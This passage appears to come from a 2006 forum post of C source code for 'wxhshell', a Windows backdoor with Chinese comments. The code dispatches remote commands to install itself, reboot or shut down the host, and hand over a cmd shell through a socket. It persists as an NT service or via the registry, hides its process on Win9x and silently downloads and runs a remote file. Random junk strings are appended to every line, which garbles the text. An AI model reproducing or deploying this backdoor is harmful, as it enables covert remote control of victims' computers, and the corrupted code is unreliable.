    switch(cmd[0]) { K=dG-+B~}  
  Cn>t"#zs!~  
  // 帮助 ^n\g,  
  case '?': { #Q|ACNpYM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <,9rXjeRl  
    break; ETfoL.d$(  
  } 4c.!^EiV  
  // 安装 0X%#9s ~  
  case 'i': { U{HBmSR  
    if(Install()) `<% w4 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5g2:o^  
    else l585L3i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w}x&wWM  
    break; 6O'Y@9#  
    } }jg,[jw_"X  
  // 卸载 >E>'9@Uh  
  case 'r': { 6h\; U5  
    if(Uninstall()) sT91>'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5J3K3  
    else t\\<+^[%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qr~yHFc1y  
    break; yeV|j\TJI.  
    } ?jnbm'~S  
  // 显示 wxhshell 所在路径 \K:?#07Wj4  
  case 'p': { "}uV=y  
    char svExeFile[MAX_PATH]; KoFWI_(b  
    strcpy(svExeFile,"\n\r"); YRj"]= 5N  
      strcat(svExeFile,ExeFile); Wix4se1Ac  
        send(wsh,svExeFile,strlen(svExeFile),0); @EH@_EwYV  
    break; 85+w\KuEY  
    } ket"fXqJX  
  // 重启 U#4>GO;A  
  case 'b': { a!;K+wL >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1c$c e+n~  
    if(Boot(REBOOT)) yuF\YOA9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kq:vTz&<  
    else { '8|joj>G=  
    closesocket(wsh); PB@jh}  
    ExitThread(0); M+L0 X$}NZ  
    } "GAKi}y">v  
    break; &GI'-i  
    } RP 6hw|  
  // 关机 w.Go]dpK  
  case 'd': { 1xU)nXXb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W1O Y}2kj  
    if(Boot(SHUTDOWN)) et`rPK~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r#^uY:T%  
    else { gE6{R+sp  
    closesocket(wsh); B)Dsen  
    ExitThread(0); uHyc7^X>  
    } 6H|&HV(!R  
    break; OC`Mzf%.  
    } CrX1qyR  
  // 获取shell qkq^oHI  
  case 's': { <;dFiI-GO#  
    CmdShell(wsh); Kj|\ALI':  
    closesocket(wsh); !Ee&e~"  
    ExitThread(0); R78lV -};Q  
    break; "D ivsq^  
  } 2%j"E{J&  
  // 退出 <;NxmO<%\  
  case 'x': { !]#;'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F=$U.K~1?  
    CloseIt(wsh); .c_qMTm"  
    break; Q_|Lv&  
    } |TuFx=~5v  
  // 离开 .WW|v  
  case 'q': { iMp_1EXe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  C0j`H(  
    closesocket(wsh); k i{8f  
    WSACleanup(); \-:4TuU  
    exit(1); Z]^O=kX7k  
    break; %eE 6\f%g  
        } D}bCMN <  
  } q_0,KOGW  
  } a8Z{-=)  
WD#7Q&T(;  
  // 提示信息 ks<+gL{K|i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *g 2N&U  
} {7 nz:f  
  } R,W w/D  
Br"K{g?  
  return; 0u ,nSvch  
} hu-6V="^9  
h) W|~y@  
// shell模块句柄 J|dj`Z ?  
int CmdShell(SOCKET sock) @86I|cY  
{ H`8}w{ft&  
STARTUPINFO si; rh6m  
ZeroMemory(&si,sizeof(si)); Ert` ]s~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DgC;1U'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W/<C$T4  
PROCESS_INFORMATION ProcessInfo; 93y!x}  
char cmdline[]="cmd"; lhJZPnx~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &y:SK)  
  return 0; /??nO Vvt  
} +rOd0?  
6ieP` bct  
// 自身启动模式 b'G!)n  
int StartFromService(void) =' #yG(h  
{ etH]-S  
typedef struct rs:a^W5t  
{ SR { KL#NC  
  DWORD ExitStatus; Bl v @u?  
  DWORD PebBaseAddress; -<aN$O  
  DWORD AffinityMask; DsGtc<l%  
  DWORD BasePriority; R8fB 8 )  
  ULONG UniqueProcessId; LT) G"U~  
  ULONG InheritedFromUniqueProcessId; ]08 ~"p  
}   PROCESS_BASIC_INFORMATION;  :O{ ZZ  
WB=|Ty ~l  
PROCNTQSIP NtQueryInformationProcess; .V|o-~c  
J, vEZT<Mt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?h'd\.j{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O4Hc"v  
_w49@9?  
  HANDLE             hProcess; b)@b63P_  
  PROCESS_BASIC_INFORMATION pbi; p ^Dm w0y  
r7n-Xe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u6~/" _FwY  
  if(NULL == hInst ) return 0; K1^x+I7%U[  
]"4\]_?r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x)^t5"F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f hr QJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;TG<$4N  
yX|0 R H  
  if (!NtQueryInformationProcess) return 0; +(J{~A~  
SHP_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ER*Et+ >  
  if(!hProcess) return 0; y4 ~;H{!  
S%k](\7!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8zk?:?8%{  
zsha/:b  
  CloseHandle(hProcess); 44(l1xEN+  
*9xv0hRQ%?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j_HwR9^fd,  
if(hProcess==NULL) return 0; 8K0@*0  
4Rev7Mc  
HMODULE hMod; h;2n2.Q  
char procName[255]; A>W8^|l6+-  
unsigned long cbNeeded; p1(<F_Kta  
rP7f~"L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @b"J FB|  
%oqC5O6  
  CloseHandle(hProcess); Dg2=;)"L  
khtYn.eaL  
if(strstr(procName,"services")) return 1; // 以服务启动 \t\ZyPxn  
V.Ki$0>  
  return 0; // 注册表启动 H8'_.2vwX  
} QAmb_:^"d  
~V<imF  
// 主模块 Id;YIycXe  
int StartWxhshell(LPSTR lpCmdLine) l|p \8=  
{ Kn+m9  
  SOCKET wsl; \w\{x0u  
BOOL val=TRUE; a}MSA/K(  
  int port=0; WaYT7 :  
  struct sockaddr_in door; 1Ydym2  
maR5hgWCHe  
  if(wscfg.ws_autoins) Install(); ([a[ fi  
f|X./J4Bl  
port=atoi(lpCmdLine); ?oO<PR}y  
n; fUwon  
if(port<=0) port=wscfg.ws_port; 9>na3ISh  
+Pm yFJH  
  WSADATA data; s j{i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rYYAZ(\8  
j[<}l&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U$5 lh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WGeTL`}dh  
  door.sin_family = AF_INET; bI?YNt,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4tv}V:EO  
  door.sin_port = htons(port); vPA {)l\K  
llP 5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JD}"_,-  
closesocket(wsl); l.Qv9Ll|b  
return 1; ">^O{X\  
} w0i v\yIRQ  
HKZD*E((  
  if(listen(wsl,2) == INVALID_SOCKET) { 7$&3(#!N  
closesocket(wsl); }^ np  
return 1; UBy< vwnU  
} YYc.e T<  
  Wxhshell(wsl); N-4k 9l1  
  WSACleanup(); *.]M1  
b7_uT`<  
return 0; ToWtltCD  
$<(FZb=  
} Y}pCBw  
Q(\U'|%J  
// 以NT服务方式启动 8NRc+@f|m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <p74U( V  
{ 3j iSvrfI  
DWORD   status = 0; xF4>G0  
  DWORD   specificError = 0xfffffff; lSzLR~=Au  
uYv"5U]MFv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?-`G0(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v9qgfdBS5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @GpM 4>:  
  serviceStatus.dwWin32ExitCode     = 0; 0[qU k(=}[  
  serviceStatus.dwServiceSpecificExitCode = 0; s;'j n_,0  
  serviceStatus.dwCheckPoint       = 0; |_^A$Hv  
  serviceStatus.dwWaitHint       = 0; I*Q^$YnM  
_z$lg]q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sm~{fg  
  if (hServiceStatusHandle==0) return; ~;*SW[4  
"5,tEP!  
status = GetLastError(); ,c;u]  
  if (status!=NO_ERROR) :DlgNR`bq  
{ oS/cS)N20  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N=QeeAI}}m  
    serviceStatus.dwCheckPoint       = 0; l12_&o"C~  
    serviceStatus.dwWaitHint       = 0; 9$u'2TV  
    serviceStatus.dwWin32ExitCode     = status; g5 J[ut  
    serviceStatus.dwServiceSpecificExitCode = specificError; z"@yE*6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !5;A.f  
    return; jeM/8~^4-  
  } [8o!X)  
^}gQh#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m6 )sX&  
  serviceStatus.dwCheckPoint       = 0; kt ILKpHt"  
  serviceStatus.dwWaitHint       = 0; lStYfO:<'v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B4 cm_YGE  
} "|6#n34  
U?}>A5H  
// 处理NT服务事件,比如:启动、停止 w,t>M_( N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KAucSd`  
{ j JxV)AIY  
switch(fdwControl) Gqz<;y  
{ 8U5L |Ny.q  
case SERVICE_CONTROL_STOP: l#W9J.q(  
  serviceStatus.dwWin32ExitCode = 0; %6vf~oG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _djr>C=H"  
  serviceStatus.dwCheckPoint   = 0; '<A:`V9M}v  
  serviceStatus.dwWaitHint     = 0; FOFZ/q  
  { /NH9$u.g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $&@L[[xl  
  } 19u'{/Y"  
  return; LvsNU0x  
case SERVICE_CONTROL_PAUSE: =X0"!y"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YM idSfi  
  break; %YI Xk1  
case SERVICE_CONTROL_CONTINUE: = 2 3H/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 43"` gF]  
  break; @o[C Xrz  
case SERVICE_CONTROL_INTERROGATE: /a?*Ap5"  
  break; l 4zl|6%  
}; c3X'Sv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yj6o533o  
} 4+Sq[Rv0  
:+9KNyA  
// 标准应用程序主函数 uz(3ml^S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :jol Nl|a  
{ /$ -^k[%  
vakAl;  
// 获取操作系统版本 dc .oK4G}  
OsIsNt=GetOsVer(); :Kl~hzVSOa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JP2zom  
|hp_<F9.  
  // 从命令行安装 \BV$p2m5-  
  if(strpbrk(lpCmdLine,"iI")) Install(); \B0,?_i  
0wx lsny?  
  // 下载执行文件 k}5Sz  
if(wscfg.ws_downexe) { 5ayM}u%\~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r+}5;fQJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); n( |~z   
} 8| 6:  
4xg7 oo0iJ  
if(!OsIsNt) { /.'tfy $  
// 如果时win9x,隐藏进程并且设置为注册表启动 s<i& q {r  
HideProc(); BM(8+Wj  
StartWxhshell(lpCmdLine); "Dc6kn^}3  
} $c!cO" U  
else %6\e_y%  
  if(StartFromService()) 9 a ED6  
  // 以服务方式启动 :|s!_G<  
  StartServiceCtrlDispatcher(DispatchTable); G8w<^z>pTg  
else O>Vb7`z0<  
  // 普通方式启动 \"]vSx>  
  StartWxhshell(lpCmdLine); S1iF1X(+?X  
hPs7mnSW  
return 0; eY)JuJ?  
}
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只看该作者 1 发表于: 2006-10-10
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